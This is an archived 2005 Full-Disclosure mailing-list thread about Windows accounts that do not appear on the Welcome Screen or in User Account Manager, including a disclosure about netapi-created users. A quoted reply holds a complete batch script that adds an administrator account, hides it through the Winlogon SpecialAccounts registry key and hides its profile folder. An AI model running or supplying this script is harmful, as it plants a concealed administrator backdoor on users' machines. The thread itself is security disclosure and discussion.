

Re: [Full-disclosure] hidden users on windows?

Source: <http://www.derkeiler.com/Mailing-Lists/Full-Disclosure/2005-08/0108.html>

From: nabiy (nathan.aguirre_at_gmail.com)

Date: 08/04/05

Date: Fri, 5 Aug 2005 00:47:20 +1000

To: Ill will <xillwillx@gmail.com>

that's nice, but completely different and it's not an abuse of the windows security model as you are making the account a 'Special Account' with this line:

```
echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows  
NT\CurrentVersion\Winlogon\SpecialAccounts\UserList]
```

Special Accounts aren't supposed to show up on the welcome screen or in the User Account Manager. So the system is doing exactly what it's supposed to do.

Creating the account with the netapi as i've described does not add the account to the list of 'special accounts'.

nabiy

--

<http://nabiy.sdf1.org> . <gopher://sdf.lonestar.org/11/users/nabiy>

The Super Dimension Fortress Public Access Unix System

On 8/4/05, Ill will <xillwillx@gmail.com> wrote:

> old news for XP

>

>

>

> @echo off

>

> @echo HideUserXP.bat

>

> @echo by illwill <http://illmob.org>

>

> @echo This will create a hidden user with admin rights in XP

>

> @echo (hidden meaning that the username wont appear in the logon screen)

>

> @echo To log on to your hidden account, you need to use the Log On To

> Windows dialog box by pressing Ctrl + Alt + Delete twice.

>

> @echo Make sure you're logged off all accounts. You can't just switch users.

>

>

>

Full-Disclosure: Re: [Full-disclosure] hidden users on windows?

```
> net user illwill password /add && net localgroup administrators illwill /add
>
> echo Windows Registry Editor Version 5.00> c:\hide.reg
>
> echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows
> NT\CurrentVersion\Winlogon\SpecialAccounts\UserList]>>
> c:\hide.reg
>
> echo "illwill"=dword:00000000>> c:\hide.reg
>
> REGEDIT /S c:\hide.REG
>
> DEL /Q c:\hide.REG
>
> attrib +r +a +s +h %SystemDrive%\docume~1\illwill
>
> Exit
>
>
> On 8/3/05, nabiyl <nathan.aguirre@gmail.com> wrote:
> >
> > Hello,
> >
> > A security issue has been identified in current versions of windows
> > that allows 'hidden' user accounts. The User Account Manager in the
> > Windows Control Panel and the 'Welcome Screen' both fail to report
> > interactive logons made with the netapi. This security issue has been
> > verified on Windows 2000 Professional, Windows XP Home Edition and
> > Windows XP Professional. Microsoft was notified of this issue on July
> > 28, 2005. The problem is not with the netapi or the ability to create
> > users but with the User Account Manager in Windows. It simply fails to
> > list all of the users that are on the system.
> >
> > This issue was noticed while exploring the netapi on windows - users
> > created with the netuseradd function failed to show up in both the
> > User Account Manager and on the Welcome Screen. The failure to list
> > users made with the netapi presents a problem for obvious reasons;
> > home users and even administrators expect to see all of the users on
> > their system when using these facilities.
> >
> > The solution in all versions of windows is simple. Do not depend on
> > the User Account Manager when managing user accounts on your system.
> > Instead, users should use the Local Users and Groups management snapin
> > or the net command from the cli.
> >
> > More information has been documented at http://neworder.box.sk
> >
> > nathan aguirre
> > --
> > http://nabiyl.sdf1.org .
> > gopher://sdf.lonestar.org/11/users/nabiyl
> > The Super Dimension Fortress Public Access Unix System
> >
> > _____
> > Full-Disclosure - We believe in it.
> > Charter:
> > http://lists.grok.org.uk/full-disclosure-charter.html
> > Hosted and sponsored by Secunia - http://secunia.com/
> >
> >
> >
```

Full-Disclosure: Re: [Full-disclosure] hidden users on windows?

>
> --
> - illwill
> <http://illmob.org>

Full-Disclosure – We believe in it.

Charter: <http://lists.grok.org.uk/full-disclosure-charter.html>

Hosted and sponsored by Secunia – <http://secunia.com/>